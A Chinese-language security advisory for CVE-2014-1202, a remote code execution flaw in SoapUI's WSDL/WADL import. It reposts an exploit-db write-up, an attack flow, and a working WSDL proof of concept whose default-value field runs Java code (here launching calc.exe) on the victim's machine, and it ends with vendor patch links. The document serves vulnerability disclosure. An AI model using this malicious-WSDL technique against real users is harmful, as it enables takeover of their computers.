发布日期：2014-01-25
更新日期：2014-01-27

受影响系统：

SoapUI SoapUI < 4.6.4

描述：

---

CVE(CAN) ID: CVE-2014-1202

SoapUI是开源的跨平台功能测试解决方案。

SoapUI 4.6.4之前版本的WSDL/WADL导入功能在实现上存在安全漏洞，远程攻击者通过WSDL文件内的特制请求参数，利用此漏洞可执行任意Java代码。

<*来源：Barak Tawily
  
  链接：http://www.exploit-db.com/exploits/30908/
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

# Exploit Title: SoapUI Remote Code Execution
# Date: 25.12.13
# Exploit Author: Barak Tawily
# Vendor Homepage:  <http://www.soapui.org/> http://www.soapui.org/
# Software Link:
<http://www.soapui.org/Downloads/download-soapui-pro-trial.html>
http://www.soapui.org/Downloads/download-soapui-pro-trial.html
# Version: vulnerable before 4.6.4
# Tested on: Windows, should work at Linux as well
# CVE : CVE-2014-1202

I have been found remote code execution vulnerability in the SoapUI product,
which allows me to execute a java code to the victim's computer via
malicious WSDL/WADL file.

This vulnerability allows attacker to execute java code to any client's
machine that will use my WSDL file and will try to send request to the
remote server.

SoapUI allows the client execute code by entering a java code inside the
following tag, the java code will be executed when the client will try to
send request to the server:

${=JAVA CODE};

Thus, an attacker can make a malicious WSDL file, determine a malicious java
code as default value in one of the requests parameters, hence, when client
uses  malicious WSDL file and will try to send a request the java code will
be executed.

The attack flow is:

1.       The attacker makes a malicious web service with fake WSDL including
the java payload that will be executed on the victim.

2.       The victim enters the soapUI program and will enter the malicious
WSDL address.

3.       The victim decides to send a request to the server, and the java
code executed on the victim's machine.

4.       The attacker succeed execute java code in the victim's machine, and
will take over it.

This vulnerability was check on the version (4.6.3), a proof of concept
video can be found at: http://www.youtube.com/watch?v=3lCLE64rsc0
  
<?xml version="1.0"?>
<definitions name="StockQuote"
             targetNamespace="http://example.com/stockquote.wsdl"
             xmlns:tns="http://example.com/stockquote.wsdl"
             xmlns:xsd1="http://example.com/stockquote.xsd"
             xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
             xmlns="http://schemas.xmlsoap.org/wsdl/">

  <types>
    <schema targetNamespace="http://example.com/stockquote.xsd"
            xmlns="http://www.w3.org/2000/10/XMLSchema">
      <element name="Payload" default="${=Runtime.getRuntime().exec('calc.exe')};" type="string">
        <complexType>
          <all>
            <element name="tickerSymbol" type="string"/>
          </all>
        </complexType>
      </element>
      <element name="TradePrice">
         <complexType>
           <all>
             <element name="price" type="float"/>
           </all>
         </complexType>
      </element>
    </schema>
  </types>

  <message name="GetLastTradePriceInput">
    <part name="body" element="xsd1:Payload"/>
  </message>

  <message name="GetLastTradePriceOutput">
    <part name="body" element="xsd1:TradePrice"/>
  </message>

  <portType name="StockQuotePortType">
    <operation name="Malicious_Request">
      <input message="tns:GetLastTradePriceInput"/>
      <output message="tns:GetLastTradePriceOutput"/>
    </operation>
  </portType>

  <binding name="Exploit" type="tns:StockQuotePortType">
    <soap:binding style="document" transport="http://schemas.xmlsoap.org/soap/http"/>
    <operation name="Malicious_Request">
      <soap:operation soapAction="http://example.com/GetLastTradePrice"/>
      <input>
        <soap:body use="literal"/>
      </input>
      <output>
        <soap:body use="literal"/>
      </output>
    </operation>
  </binding>

  <service name="StockQuoteService">
    <documentation>My first service</documentation>
    <port name="StockQuotePort" binding="tns:StockQuoteSoapBinding">
      <soap:address location="http://example.com/stockquote"/>
    </port>
  </service>

</definitions>

建议：

---

厂商补丁：

SoapUI
------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://www.soapui.org/
http://www.soapui.org/Downloads/download-soapui-pro-trial.html

浏览次数：2303
严重程度：0（网友投票）